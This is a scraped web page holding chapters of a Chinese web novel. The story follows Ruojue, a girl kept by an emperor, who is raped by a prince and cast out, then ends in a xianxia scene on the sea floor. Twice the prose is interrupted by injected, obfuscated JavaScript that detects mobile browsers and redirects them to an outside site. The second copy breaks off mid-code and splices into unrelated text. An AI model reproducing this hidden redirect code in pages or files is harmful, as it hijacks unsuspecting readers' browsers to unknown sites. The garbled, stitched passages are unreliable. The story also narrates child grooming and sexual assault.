“官家,今年冬天若玦就及笄了。”她乖顺地回答。 皇帝却依旧像小时候那样一把将她拉入怀里,问她:“阿玦想要什么及笄礼物,朕能找到的都为你寻来。” “阿玦只要自己和官家都平平安安就已经很满足了。” 皇帝笑得依旧很可亲,亲昵地揉了揉她的头,似是想到什么,聊起了沅婕妤。 “沅婕妤……真是知人知面不知心呀,她居然勾结外臣,在自己宫中各处存了毒药,想要毒死你,也想毒死朕。幸亏发现的早,让朕把整个迎香水榭都清理了一遍。” “毒死我?”若玦一愣。 皇帝看她一眼,“阿玦不觉得这几天宫里少了谁么?” 若玦仔细思考,“那个……”她忽然了悟道:“小药房的……” “阿玦真聪明。”皇帝赞许一笑。 思绪纷纭,她赶紧道:“阿玦一条贱命倒也罢了,她居然妄图伤害官家,官家,你可有受伤?她为何要害您?” “沅婕妤和礼部侍郎青梅竹马,两心相许,可惜她父王和朕父皇棒打鸳鸯,把她许朕为太子良娣,可她入宫后还一直记挂着情郎,礼部侍郎早就存心不轨,勾结党羽谋朝篡位,便想借她的手弑君,可怜这个傻姑娘,真是为情所误,她那情郎在牢狱里把什么都推给了她……” 皇帝说起此事仿佛并不关己,反而带着一丝怜悯和感叹。 若玦有些坐立不安,可皇帝禁锢在她腰上的手力气却很大,不容她乱动。 “那沅婕妤呢?”宫中并没有这样的消息。 “镇南王毕竟劳苦功高……”皇帝叹息,“朕也不想搞出太大的阵仗,把这女人囚禁在地牢里了。” 若玦问:“官家,这样狠毒的女人,您不直接赐死么?” 帝王道:“她和礼部尚书的嘴里,总能再撬出一些东西。两人筹谋这么久,应该也埋了不少暗线。” “还是官家英明。”若玦一笑,月牙般的眸又变得澄澈明净,她拿起葡萄准备喂给皇帝。 恰是这时,一个最不会出现的人出现了。 裴嘉穿着冠礼的礼服推门而入。 其实她悄悄地看得有些失神。 她的嘉嘉今天穿得如此正式,庄重沉稳,风姿雅正,已经不是少年,而算得上一个男子。 穿得很好看,也难得的笑得如此疏朗。 可惜呀。 80. 嘉木凋绿叶(4) 那之后,若玦求见过一次沅婕妤,皇帝虽不解,但还是应允了。 皇帝并不担心若玦会做出什么,毕竟整个宫里明的暗的都有他的人。 不过,地牢可真暗,纵然前面有宫人提灯引路,若玦也只能小心地撩着裙子一步步踩着阶梯走下去。这幽暗的地牢在灯火下照出飞舞的白色尘埃,惹得她一阵微咳。 来到沅婕妤身前,她站定。眼前这女子依旧穿着湖碧色宫装、头簪白玉,可因地牢无法再如之前那样沐浴更衣,又遭受过刑罚的缘故,身上竟传来一丝腐败酸臭的味道,那浅色衣衫上有了暗褐斑点,袖上也有些黄渍。 可怜的贵人,怎么受得了呢。 若玦将眼神收回到沅婕妤的脸颊上,感应到脚步声和他人的气息,沅婕妤疲惫地睁开眸子,先是茫然,而后泛起浓重的厌恶和恨意,“你来做什么?” 若玦不语。 “但凡你把我的话听进一点,如今……就不会成这副局面!”沅婕妤一直盼啊盼,就期待皇帝哪天传来归天之诏,可惜若玦终究还是让她失望了,“哪怕就一次,一次呢?你明明答应了,背信弃义之徒!” “我为什么要帮你害官家?”若玦问。 沅婕妤原本怨毒而气愤着,然而看见若玦平静无波中还带着一丝迷茫的面容,她忽然感到偌大的悲哀,“可怜,无知啊……但凡你见过外面百姓流离失所、衣不蔽体的模样,但凡你知道为你手上那荷花玉他又压榨了多少劳工上面沾了多少血,但凡你知道有多少正直清流被他逼迫致死,你怎么会问出这样的话?你懂什么叫大义么?” 若玦半边脸藏在阴影中,另半边被宫灯照映出轮廓,她的语气依旧平静淡漠,“如果我做了,我就会死。沅婕妤,你所谓成就大义的计划里,可也有为我这个百姓做过筹谋。” 沅婕妤没想到她年纪轻轻却会说出这样老成的言语,听完脸上悲哀之色却更甚,“宁为玉碎,不为瓦全。若我是你,早就一头撞死了!清白家的女孩,日日伴在他身边,你不觉得恶心么?你不羞愧么?这世间怎会有正常男子对小女孩有那样的心思,你不抗拒,居然还甘之如饴。你到底是无知,还是和他一样龌龊?” 若玦不做回答,她忽然握住沅婕妤被铁链锁住的手,道:“如今你也无法再用帕子擦拭自己的手了。” 沅婕妤一开始没反应过来,等她反应过来时若玦已经拿开手,她脸上又是羞恼又是愤怒,“果然变态只能养出变态,你可知道他为什么这么爱这些小女孩,又为什么最喜欢你,因为他和他的亲姐姐……” 然而话还没说完,她的面色就凝固在脸上,像被扼住喉咙一般再也说不出一个字。 阶旁角落露出藏在暗色里的一角明黄,此时见她噤声,款步向前,面含微笑道:“阿沅怎么不说了?朕和阿姐如何?” 沅婕妤的脸色一点一点变成灰白。 “阿沅永远是如此巧舌如簧,说起故事来绘声绘色的。”他搂过若玦,不再看沅婕妤,温声道:“阿玦,地牢阴冷,我们回去吧。” 若玦乖顺点头。 看着那明黄和樱粉的背影渐渐消失,沅婕妤眼中的惧色却愈发浓重。 · 若玦曾以为她会这样过一辈子,直到她死去。 然而在她及笄前夕,发生了宫变。 若玦记得那天的雨下得很大,一夜里抛了三、四个惊雷,她翻来覆去睡不着,正坐于案前的皇帝问她,阿玦,怎么了,夜已深今日却久久难入眠? 若玦说,不知道为什么。 她下榻,走到案边,发现皇帝在自弈,指尖触着黑棋子,不知在想什么。 皇帝说:“若玦,你会下棋么?” 若玦说不会。 乡野里的病弱女子,整天卧床或刺绣,又在皇宫里“享乐”蹉跎到及笄,她的确不会。 皇帝摸了摸她的鬓发,“不会就好,阿玦什么都不会,就是最好的。” 他又微微一叹,“朕总觉得很矛盾,一边想阿玦快些长大,一边觉得还是不要长大,不长大就永远无忧无虑、开心天真。” 伴随着他的叹息声,一道闪电把刀光剑影都拓在窗纱上,一道惊雷把守门宫人生前最后一丝被堵住的惊恐尖叫吞噬。当窗纱溅上第一道血迹时,玉斋的门也被轻轻推开,脚步声由远至近。 独坐未寝的皇帝和在他旁边站着的若玦,就和从外厅而来从夜色中逐渐走出的手执长剑,穿着绣蟒墨袍的青年相视。 那青年面容轮廓较皇帝极其相似,只是皇帝气质温和,而这青年眉宇间颇有些阴鸷狠戾。 “让她离开吧。”皇帝也不抬眸。 那青年冷笑,“官家对我母妃尚不垂怜,如今却对玩物生出怜悯之心。可惜儿臣并不想顺你的心,当年我母妃怎么受辱而死,儿臣也会让这个小玩物怎么死。” 皇帝淡漠,“随你。” 青年觑他片刻,见他目无波澜,道:“果然是铁石心肠。”他把剑扔到若玦脚边,“小宠物,拿起剑把官家杀了,我就饶了你,否则,你就给他殉葬。” 剑落在地上,映照出寒光一片。 若玦向后微退了一步,而这一步之间,皇帝便飞速捡起地上长剑,剑芒直指青年,然而青年早有防备,一番搏斗后,一只手擒住他拿剑的手,另一手臂勾住皇帝的脖颈,青年面色发狠,而被他勒住脖子的皇帝面色涨红,双目暴瞪。 青年狠狠地看着皇帝,皇帝布满血丝地眼睛直直看着前方。 前方站着若玦。 若玦看着那双眼睛从微有血丝到布满血丝到一片猩红再到发白,看着那熟悉的温和的陪伴自己六年的面容涨红胀紫然后灰败,从呜咽到嘶哑到安静。 原来死亡,是这样丑陋而狰狞。 又看着罪魁祸首得逞后望过来的,充满扭.曲快.感的眼神,到被雷声惊吓后充满恐惧和惊惶的眼神,到又有些眼泪却又眯起来笑得畅快的眼神,那眼神承载了太多情绪,若玦无法分辨……以及他最后盯着她,如野兽狩猎般充满侵略的眼神。 最后,青年将眼前的少女摁在地上,粗暴地撕开衣服,当着死不瞑目的帝王的面,畅快淋漓而又蛮横血腥地征服了曾被他视为掌上明珠的豢宠。 · 翌日,若玦及笄之年的生辰,她被赶出玉斋。 离开之时,她在玉斋的棋盘上放了三两银子。 三皇子登基,是为新帝,新帝放过了若玦,临走前,附耳言道:“不曾想先帝竟没碰过你,朕是你第一个男人,既如此,朕就不杀你,出去是死是活,凭你造化。你敢泄露一个字,朕让你知道什么叫生不如死。” 先帝死时,他窥见她眼中浓重的惧色。那么,既然是想活下去的人,自然知道该选择遗忘什么。 他送了她一碗哑药,从此再不得说话,他亦知她大字不识,不能说,不能写,不能识,形同废人。 “多谢先帝,真真是养了个宠物。” 踏出宫门的那一刻,若玦回望一眼高高的红墙,迎来人生最困惑的时刻,东南西北,何去何从,天涯海角,再不是家,她早就忘记家在哪里,也不知道该如何回去。 然而她却看到熟悉的两个身影,就在她的前方。 碧色衣衫的青年郎君搀扶着同色衣裙的女子,那是裴嘉和沅婕妤。新帝把先帝的几乎所有后妃都“请”出了宫,对于裴家而言,可谓是大好事。 原本裴沅勾结礼部侍郎弑君未遂,先帝是想法子折磨他们这对苦命鸳鸯的,如今新帝登基,前尘往事也就烂在死人肚子里。不仅如此,还把裴沅放出宫去,简直求而不得,亦或许,他们之间早有勾结。 若玦也不知为何,一直默默跟在他们后面。 直到镇南王府前,裴嘉和裴沅才发现若玦。似乎是被地牢生涯磨平锐气和美丽,裴沅的面容像一朵枯萎的花,惨白干枯,她看到若玦后,什么话也没说,拂袖进府,留裴嘉和仆婢站在外面。 裴嘉和若玦二人相视,一时无话。 许久,裴嘉才道:“近日……还好么?” 若玦无法说话,点点头,又摇摇头。 “我姐,被……被截去了舌头。”他痛苦地闭上眸子,然后缓缓睁开,黯黯道:“若玦,为什么……为什么你当初不按她说的那样做,如果那样做,这样的事就不会出现。” 若玦捏住衣袖,她想开口,可只能用眼睛传达不服。 裴嘉沉默片刻,道:“算了,你才多大,怎能怪你。” 因心底一丝怜意,他还是把若玦带回府上,悄悄养了起来。 裴沅知道后,只给他写了一句话—— “一身侍二朝,辗转帝王榻。” 裴沅被带离地牢时,亲耳听新帝与她说:“怪不得先帝如此疼爱那个小女孩,倒不爱重婕妤了,昨夜春风一度,果然知其滋味。” 裴沅被恶心得不行,她着实不明,如此污秽之身,为何还要苟延残喘于人世? 一朝回府,她只打发下人给若玦送上《女德》《烈女传》,从此闭门不出,家人问起,便写下“不愿一双眼,见此肮脏世”以回应。 后来,镇南王夫妇发现了若玦的存在,但裴沅未挑明,他们也没在宫里见过若玦,所以不知她身份。但未经主人同意,便甘愿私藏在男子院中的,必然不是什么好人家的女孩,也没有好教养。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137562|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但因裴嘉求情,他们无法,就当儿子院里有个喜欢的通房。 可裴嘉替她造了户籍不说,还和镇南王夫妇说要娶她为妻。镇南王夫妇想尽一切办法要把若玦赶出府,但裴嘉也处处有防备,他们总收拾不到若玦。 归根结底,还是夫妇不想和儿子闹得太僵。毕竟裴嘉从小到大,并没什么让夫妇不满意的地方——这狐.媚少女除外。 最后夫妇两人合计,想了折中之策,说让若玦留府也可以,但只能为妾。 他们动之以情晓之以理,裴嘉看着父母憔悴的面容,也深觉惭愧,终于答应。 他记得若玦小时候和他说的那句话:嘉嘉,等我及笄后,娶我好吗? 他是愿意的,不然也不会在及冠那天,一心想着给她看一眼。 他们的感情在那压抑而畸形的皇宫中,像生在檐角的春草,卑微隐晦而沉默的生长。 裴嘉想,若玦已经被毒哑了,如果没有自己,她该怎么办? 院里侍候若玦的丫鬟总是一脸羡慕地和若玦说:“若玦小姐,奴婢好羡慕你,世子从前对什么都很冷淡,而且世子洁癖很重,但凡丫鬟仆人哪里伺候不周,总要惹他一番批评,世子的嘴就和刀子一样。可你来了,世子居然会亲自帮你穿鞋穿袜,替你熬药治病,这是多少贵女想都不敢想的事,要是我,这辈子死而无憾了!” 死而无憾。 若玦不能说话,可她心里却掀起惊涛骇浪—— 为什么,他们会觉得死是如此轻易的事? 她其实从未和人说过,她其实真得很想很想活下去。 她从小被断定先天不足,活不过二十岁,尽管父母努力过,可最后因贫穷,再无无法被她拖累,所以早早把她卖了。她不恨,甚至感激这份因缘,因为她遇到了先帝,皇宫里的九五至尊用泼天富贵给她换来了珍贵药草,换来了裴嘉这杏林医者。 裴嘉和那些珍贵药草一样,是她生的希望。 活着多好呢?能说说笑笑,能跑跑跳跳,还能放风筝。她只要轻微地讨好一下君王,君王就给予她活下去的希望,多么划算的买卖,为什么不可以?为什么要被沅婕妤这样的人指指点点?还给她看那些东西? 为什么高贵的人们觉得她该羞愤而死当个烈女,该为证明一些她根本不明白的东西而放弃生命,还说什么“以死明志”?她真的不懂,她到底做错什么,为什么陪了先帝就是恶心就要死,为什么被新帝强.暴而该死的又是她?她也不懂为什么丫鬟能说出死而无憾的话。她不想死,她要活着,抓住所有生的希望,无论是皇帝,还是裴嘉。 那高高在上指责她瞧不上她的沅婕妤,最后不也是说不出话了吗?和她一样啊! 可怜的高贵之人!若玦无声地笑了起来,笑得眼泪都出来,把丫鬟吓了一跳。 ——这主子的性情太奇怪,还有些吓人,她捉摸不透。 若玦从柜子里翻出风筝,跑到院里想将它高高地放起,可那日无风,她尝试许多次,风筝也没飞起来,恹恹地垂在地上。 · 裴嘉对若玦体贴备至,他已打定主意,哪怕若玦为妾,他这一生也不会再有别的女子。 一生一世一双人,对彼此干干净净,绝无二心。 年岁渐长,情好日密,虽不能声张,但裴嘉还是在自己院中和若玦行了纳妾之礼。 有镇南王夫妇把着,若玦是无法穿大红衣裙的。 红粉色趁着烛光,更衬得佳人娇艳。然而就在被翻红浪的时刻,裴嘉遭到若玦激烈的拒绝。 若玦怕死也怕疼,她回想起那晚的痛楚,不愿继续下去,眉宇间写满对床笫之事的抗拒。 裴嘉就像被一盆冷水浇满头,被扰了兴致,可就是这时刻,姐姐那句话就这么猝不及防地浮现在脑海。 ——一身侍二朝,辗转帝王榻。 及冠那日,樱粉色的身影坐在穿着明黄色龙袍的男子腿上,巧笑倩兮的画面同时涌入,一时间扯断他名为冷静的那根弦。 眼神冷了下去,心里莫名的邪火却被勾了起来,他怒不择言道:“若玦,你已经嫁给我了,为什么他们可以,而你对我就百般拒绝?难道你真得对那狗皇帝旧情难忘,如此自甘堕落?说愿嫁给我,也是骗我的么?” 他感到若玦不再挣扎。 一个气昏了头,一个骤然冷了心,生涩地渡过了一个本该温馨愉悦的洞房花烛夜。 翌日,晨起。 虽然早就知晓,可那未曾落血的白绫,仍让他感到痛苦。 埋在心里那颗刺忽然尖锐起来,刺得人生疼。 干干净净,一生一世一双人啊。 81. 嘉木凋绿叶(5) 嘉木凋绿叶,芳草歼红荣。 这是若玦学会的第一句诗。 若玦从小对放风筝以外的所有事都淡漠,然而世事更替后,因口不能言,无法自辩,她陡然生出想学文学字的冲动。那日漫无目的地闲逛,却无意撞见一个年轻儒生正在庭中教导一个男童说文解字,她悄悄站在庭廊下,听了整两个时辰。 越听心情越发激荡,然而纵然听了,她也并不识字。所以趁着儒生教完男童,男童被仆婢嬷嬷带走,她才敢现身,在小路上拦住儒生。 年轻儒生先是一愣,而后望见她的模样,耳根泛起一丝温热的红,“姑娘,拦我何事?” 若玦没办法,只能指着自己的嘴,又摇摇头,摆摆手,告诉他她无法说话,而后指着他手上的书卷,比划了半天。 儒生知晓她是个哑女,眸中不自觉浮起一丝怜意,然而他看她比划半天,不解其意,眼前的姑娘也被他的“愚钝”急得白玉般的额边除了一层薄汗,他心中更加愧疚,也更慌乱。 “姑娘是想看我的书?” “姑娘是想知道刚刚小公子听了什么内容?” “姑娘……姑娘想学?” 话音一落,眼前娇美清秀的姑娘明眸如洗,散发出蓬勃的朝气和喜色,如幽星乍亮、霁雪初晴。 儒生把手中书卷递给她,那是本《魏国诗选》。若玦十分开心地接过,她指着那些字,然后指指自己,又摇头。 这一下,儒生好似乍然了悟,“姑娘,你……你是想学识字。” 若玦拼命点头。 看着她唇畔的笑意,儒生好似也忘记很多,脑子一热,怀着助人为乐行善事的想法——尤其是如此佳人,便道:“姑娘,若……若你想识字,唐某愿倾囊相授。唐某受王府所聘,每日未时前来教导小公子学业,而申时离府,若姑娘不弃,我们申时就在此处见面,唐某来……教你。” 而后,来此处学习就成了若玦放风筝以外的第二乐事。 后来,她知道这儒生名唤唐湛。唐湛家境贫寒却文采斐然、学问不俗,在京城颇有些名气,待明年秋闱许能高中,所以王府便邀他入府教书。 唐湛教她识字,教她学诗,第一首便是《魏国诗选》中陈琳的游览诗。 若玦无法与渴望建功立业而不得的才子共情,却深刻地记住了“嘉木凋绿叶,芳草歼红荣”。 有人一生无春,从头到尾都是萧瑟淡漠的秋冬,是绿叶凋残零落,是芳草枯萎凋谢,白璧有瑕,明月长瘦,正如她的名字,玉缺为玦。 可她也并不希望别人把她看作有缺口的玉,她从来都是她而已。 成婚以后,她和裴嘉相敬如宾,却总似有层隔膜横亘在二人间,谁也不愿戳破,不愿提起。对裴嘉而言,无论再怎么亲热,那道“介意”而生的伤疤依旧埋在心底;对若玦而言,想亲近之时,耳边总会响起那句“为什么他们可以,我却不行……旧情难忘、自甘堕落”。放下芥蒂言和,他们谁都做不到。 裴嘉在朝中忙起来,她倒松一口气。 唐湛眼里,若玦只是她自己,没有身份,没有过去。若玦视唐湛为师,知道若赠予金银,便轻贱了他,他也必不会收,所以若玦常以名茶相赠。 她是个俗人,品不出茶的好坏,该给风雅的人,或品,或转卖都好。 时间场地有限,唐湛无法教导若玦写字,所以她常回到屋中自己描着写,虽然运笔皆是错,好歹她能通过写字表达心意,这比什么都让她开心。 她描了一个“谢谢”,带回给唐湛。 可世事偏偏就不凑巧,这日他们仍会于廊下,一直没什么人经过的地方却有人造访,还不是别人,是裴沅。 裴沅急火攻心,见到二人那刻便气得昏厥过去。 王府中,“世子妾侍私会外男,把大小姐气晕”的消息虽未在仆婢之间传播,却传到了裴嘉和镇南王夫妇耳中。 镇南王夫妇本就对若玦不满,此刻勒令裴嘉立马将若玦赶出王府。 以德行为本的镇南王府容不下半丝污秽。 裴嘉回到房中时,若玦正坐在案前,有些木讷地看着桌案上被撕碎的,她描出的“谢谢”二字。 那是裴沅昏厥前撕碎的。 不过是一声谢谢。 裴嘉和她隔案相坐。 “若玦。”他的声音有些冰冷:“我到底做错了什么,又到底哪里对不起你?” “为什么一次又一次背叛我?我裴嘉到底哪里不如他们?先帝荒淫无道,新帝、新帝也非仁义之君,那唐湛只是个身无分文投靠王府的秀才,你放着我不要,却和他们做出这些丑事,我到底哪里对你不够好?”裴嘉气急,“我为你顶撞父母,我为你拒绝提亲,及冠那日我什么都不顾就想去见你,可你让我看见的是什么?你……你非完璧之身我也忍了,为何又闹出这番事?” 他拍着桌案起身,眼中微有些血丝,“为什么无法对我忠贞?难道……你真的是个水性杨花的女人么?” 而若玦原本是坐着,在听见“丑事”二字时她便已经站了起来,她盯着裴嘉,觉得彼此都很陌生。可裴嘉仍是把那些话都说了出来。 若玦生平第一次感到愤怒。 她不悲伤,而是愤怒。 可惜她早被灌下哑药,她的愤怒无处发泄,她只好拿起笔用记忆中不多的文字将愤怒写出来。她不会运笔,每一字都写得歪歪扭扭,却力度十足,差点就要把纸撕裂。 她有太多想表达,记不得字,她便拿出《魏国诗选》一个字一个字对照着写。 而这期间,也伴随着裴嘉有些崩溃的一声声质问。 若玦颤着手写完,将那张纸狠狠地扔在裴嘉身上,而后走到他身前,狠狠打了他一个巴掌。 裴嘉怔愣,顾不上脸颊上火辣辣的疼痛,他展开那张纸,上面扭曲的字写着:“先帝从未碰我,且忤逆他的下场很惨,新帝强.暴了我还将我毒哑,我找唐湛学字才能写这些告诉你,裴嘉,你根本没信过我,从头到尾,我只想好好活着,你们却都想我以死证清白,我偏不。” 那些不堪入耳的字眼,他就这么加在她身上。而忍了这么久,学文学字,耗费她这么多精力,就是为了写出这回应。 若玦摔门而出,却又顿时迷茫,不知所从,无论是昔年皇宫,还是这偌大王府,给她留的始终都只有这么偏狭的方寸之地。 如果是这样活下去,她忽然觉得索然无味。 · 裴嘉最终顶住父母的压力,还是把若玦留在府上。 为她,他已经不孝,若再辜负她,他就更罪孽深重。 可若玦却再没对他笑过,眼神中的冰冷让他生出一丝恐慌。 道歉的话他无法低声下气地说出,他只能拼命对她好,给她买好吃的好玩的,尽管若玦不屑一顾。 秋至,府上有了白事。 裴沅因忧思过重、心有郁结病逝,去世前,给府上每个人留了一句话,她给若玦也留了,写的是:忠臣不事二主,烈女不侍二夫。 若玦把它撕了,就像裴沅把她的“谢谢”撕了。 裴嘉那几日极其憔悴。 若玦望向庭外,秋风萧瑟,落叶疏疏,果然是嘉木凋绿叶的时节。 再晚一些,若玦给裴嘉写了一张字条:相濡以沫,不如相忘于江湖。 裴嘉先是不解,而后是不可置信,“若玦,什么意思?” 若玦写道:“你永远不会忘记,我曾属于别人。” 裴嘉沉默了片刻,“我能接受。” 若玦摇摇头,“我永远也无法重回十四岁,而我也无法忘记那些话。” “若玦,那是我口不择言我承认,我道歉,可已经过去了那么久……” 若玦只是淡淡地看着他,而裴嘉也在这样的眼神里慢慢静默。 “我不会放你走。”他道。 而后,他又给院里加了许多护院仆婢。 裴嘉再来,已经是三月后的冬日深夜,还是若玦十九岁的生辰。 裴嘉难得喝得醉醺醺,他捧着若玦的脸道:“若玦,我……想再纳个妾,我……我要对她负责。” 若玦轻扫他脖上红印,眸色淡淡,一丝波澜也没有。她推开他,继续阖眸睡觉。 裴嘉却似乎陡然清醒,“若玦,你为什么毫无反应?” 若玦睁眸,依旧淡漠,似乎在问他,她该有什么反应。 “今日是你的生辰,你的丈夫说要纳妾,你为什么不气?为什么不骂我?”他先是不可置信,而后却似哀求地问她。 她侧过身去。 她给过他答案,可他却不遵循。 裴嘉到底没有真得再纳妾,王府又平静了大半年,终于有一日,裴嘉平静地和若玦说:“官家赐婚,要将吏部尚书的女儿许配给我,我无法拂逆官家旨意。” 他隐隐,探究地去望若玦的眸眼。 那眸眼如平湖,一丝波澜也不起,也压平他心底最后一丝波澜。 一年多的时间足以想清楚,当初若玦说的是对的,他们永远不可能释怀,与其横生怨怼,不如放过彼此。只是他们的纠缠,若是停在十五岁前,倒也是极其青涩美好的。 如果所有故事的结局都和它的开头一般美好,那四季中也不会有秋天和冬天。 “相濡以沫,不如相忘于江湖。”他道。 · 裴嘉给若玦留了很多财宝,可若玦只拿走三两银子。 若玦回想起小时候被断言,她活不过二十岁,而她二十岁的生辰恰要到了。从小皇宫的滋养,让她身子看起来越来越好,可莫名越接近二十,她就越想回归故里。 素日里,也并没什么思乡之情。但她还是顺从内心,准备前往青州。 离开王府的那个清晨,天上飘着雪。 雪如柳絮飞到乌云般的发间,成满头青丝中唯一的亮色。 若玦背着包袱,走到京都城门。在那高大的灰色城墙下,有人乌发白裙,黛眉红唇,与皎皎白雪相映,她并未回望这高高城墙,敛去眸光,径直走出城门。 她的家乡青州,出了京城一路向北,就能抵达。 正午,在官道旁,有棚子搭起的茶驿。 茶驿人多,她驻足看了一会,才寻得一个空位,她坐上去,在双手之间呵了呵气,用零星的温暖温热冰冷的手。那边小二上前,殷勤道:“姑娘,您吃点什么?” 若玦轻扫一眼桌上另一人的饭食,指了指,朝小二微笑。 小二也笑了笑,“好嘞,一碗馄饨,一碗枫叶红。” 听见她点的菜,同桌那人抬起头望向她,而她恰也望去,两人视线相对,凝视良久。 那人是个墨袍少年,乌发高束,眉如墨画,眸如珠玉,若玦凝着他眉眼看,是因为着实太好看,上天造人时雕琢这双眉目定是花了许久心思,才能每一寸都精致如许。 不过只是片刻,若玦便收回眼神。 可那少年却未收回,反而有些疑惑,又带着迷茫道:“你……” 她抬眸。 那少年似乎有些头疼,他揉了揉太阳穴,“你……你是谁,为什么这么熟悉。” 若是他人,她定会觉得他在拙劣地搭讪,可看见眼前少年,她莫名多一丝信任和熟悉,就好像曾经在哪里见到过。 若玦从包袱中拿出纸笔,把名字写上去,指给他。 “若……玦。”他皱起眉念了几遍,而后喃喃“若,若?……若若。” 不知为何,他似乎忽然头疼起来,颇有些暴力地锤了几下自己的头,可把若玦惊到了,她一时没多想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那边少年却在心中独自嘀咕,奇了怪了,印象里自己脾气很差,怎么对上这个笨姑娘反倒被她制住了?生怕惹她不快。 其实若玦也很奇怪,自己本是淡漠的性格,多情薄情似乎从来由不得自己,可今日却被这陌生人引得情绪跌宕起伏。 二人各怀心事时,远方有一阵车马喜乐声打断他们的思绪,原来是一队娶亲队伍路经此处。 前头数十人,后头数十人,吹拉弹唱,敲锣打鼓,散着礼花,中间被人簇拥着的是两匹高头大马,马上也扎着红绢花红绸带,前方马上坐着一个穿红色衣袍的男子,脸上挂着十分的喜气,看上去意气风发。后头跟着一顶锦绣红轿,红轿再往后,是十几抬沉甸甸的木箱子。 本就不安静的茶驿更是人声鼎沸,可喜可贺之声此起彼伏,虽是不相识的过课,却也让大家脸上都沾染了喜气。 若玦上次看这样类似的场景,还是在五六岁的时候,趴在窗户边悄悄看的。 小二和茶驿老板朝那队伍喊道:“祝官人与娘子永结同心、百年好合、早生贵子!” 那边队伍里便洒下许多喜糖喜钱,小孩子们纷纷上前把它们拾起拿走。 寒冬飘雪,娶亲队伍却红的炽热温暖,鼓乐声声,从街头响彻街尾。 旁边桌上有人叹道:“成亲真好,结发为夫妻,恩爱两不疑呀。” 另一个稚嫩的声音问:“姐姐,什么是夫妻?” 那人轻声道:“就像话本写的那样呀,从青梅竹马、两小无猜到共枕而眠、水乳交融,再到相守相伴,日夜与共……” 若玦眉头微动。 她和裴嘉青梅竹马,两小无猜;她和那新帝也算曾水乳交融;她和先帝的确是日夜与共,相守相伴了多年…… 可他们,没有一个成为真正的夫妻,只拥有一个潦草的结局。 她从未真正的穿上过嫁衣,也无人用这样盛大的队伍迎娶她。 这如朝露般的一生,有过淡粉,有过红粉,却从未有这样炽烈的红。就像她的名字,玦,也不是完整的玉。处处皆是留白,也处处似有遗憾。 少年看她眸中神情,道:“怎么,你羡慕了?羡慕,找个如意郎君成婚就是。” 她写道:怕只能在地府成婚。 谁知少年却道:“地府?地府成婚怎么了,地府成婚排场大了去了。” 她以为这少年发诳语,笑笑不说话。 少年却绘声绘色描述起来,“我告诉你,若在地府成婚,我让那满地火莲燃作你的红毯,漫天金雪飞作你的礼花,我叫那黑白无常做你的迎亲官,叫那上古神兽荒海玄龙做你的轿椅,让那万千鬼怪妖魔从奈何桥、三生石、孽镜台赶来齐聚于你的面前,都来围观这场盛大的婚礼,做婚礼的观众。” 若玦听罢一笑,她心道这少年都可以去写话本了,写道:你是谁,难道还能管地府? 少年看着,想说什么,却忽然又皱起眉,“对啊,我是谁?” 若玦无语。 “别管我是谁,总之我说的都能做到。” 若玦轻笑,在纸上写了个好。 她吃完了馄饨,准备继续踏上青州的路途,恰好天上的雪也渐停了,行至再前一些的地方,她便要去租马车了。 离开时,她留给少年一句话,“谢谢你,过路人。” 在二十年的旅途中,她似乎是做了一个梦,那梦的颜色极淡漠,似乎有明黄色,似乎有湖碧色,似乎也有墨色,她也不想再记得。好在梦的结局有了火的颜色,也留下一丝热的余温。 也许就像少年说的,走过奈何桥后,真的有火莲步步、金雪满头、无常迎亲、黑龙为轿。 而奈何桥的那一边,满身红袍迎娶她的又会是谁呢? 终是身离浮梦,魂归桑梓。 原知此梦终是幻, 何必伤情似成真。 冬风羁恋春草久, 始悟冰雪今当归。 82. 芳草歼红荣(1) 随波逐流的花漂流在幽暗的深渊,巨大的上古之眼在黑暗中睁开,凝视着形如尘埃的水中莲。 所有光芒的终点都停在那只巨眼周围,更深处藏匿的是令人窒息的黑暗。 王心若无法看见也无法听见,甚至无法掌控流向,她也未察觉周围异样。远处,擎光携任流光已经寻来,而擎光自然也发现远处那默默睁着的巨眼。 巨眼瞳仁微动。 擎光却敛正了身形,在水中朝那巨眼遥遥一拜。 巨眼又缓缓合上,深渊彻底归于黑暗,带走幽幽红光。 少顷,王心若感到有人靠近,握住她的手腕,将她朝更深处拖去。而断绝片刻的神识终于又接通,熟悉的声音调侃她道:“若若,离开许久,可有害怕?” 她懒得搭理,只问:“离海底还有多久?” “快了。” “师叔,我记得上次你说神之间斗争比仙要激烈,我能问问,你们都是怎么斗么?神和仙相比究竟有哪些异能?” 擎光答道:“神的斗争和你们也没什么区别,只不过神的法力能支撑两个独有的能力——因果和界。” 他道:“被种下因果后,会按照既定的因,发生既定的果,凡间谓之“天命”,那些无论如何都改变不了结局的‘天命’,基本是中了神的‘因果’,即便有人试图强行推翻因果,一旦被\''因果\''察觉,它也会强行修复。当然,种因果极耗费灵力,不会轻易使用。” 又道:“界,知道了未必对你是好处,日后再说吧。“ 过几日,王心若终于感到自己落地了。 漂浮的日子太久,刚落地时,她还有些不习惯。谁知落地后,擎光竟解开她和任流光封闭的两识。 “荒海海底很安全,而且什么也没有,解开也好。”擎光解释。 睁眸之后,周围全是黑暗,但海水里漂浮着点点荧光,仔细看,光来自于一种极小无骨的鱼。 地上是柔软的泥沙,一步一浮。 擎光扫视着一片黑暗的远方,他忽然对王心若道:“若若,昔年我曾给那逆子送了一条荒海巨龙,今天,我送你一只无道凤凰。” 王心若不解其意,只见擎光飞身上前独自探寻,终于在走到某处时停住,他俯身在泥沙中寻找什么,而后似握住什么缓缓起身。 起身的一息之间,海底震动! 原本王心若和任流光就站得不稳,这海底陡然一震,二人更是险些跌倒。 震了一下、两下、三下…… 轰隆隆! 擎光周身忽然出现海流漩涡,有什么从柔软的海底破土而出。 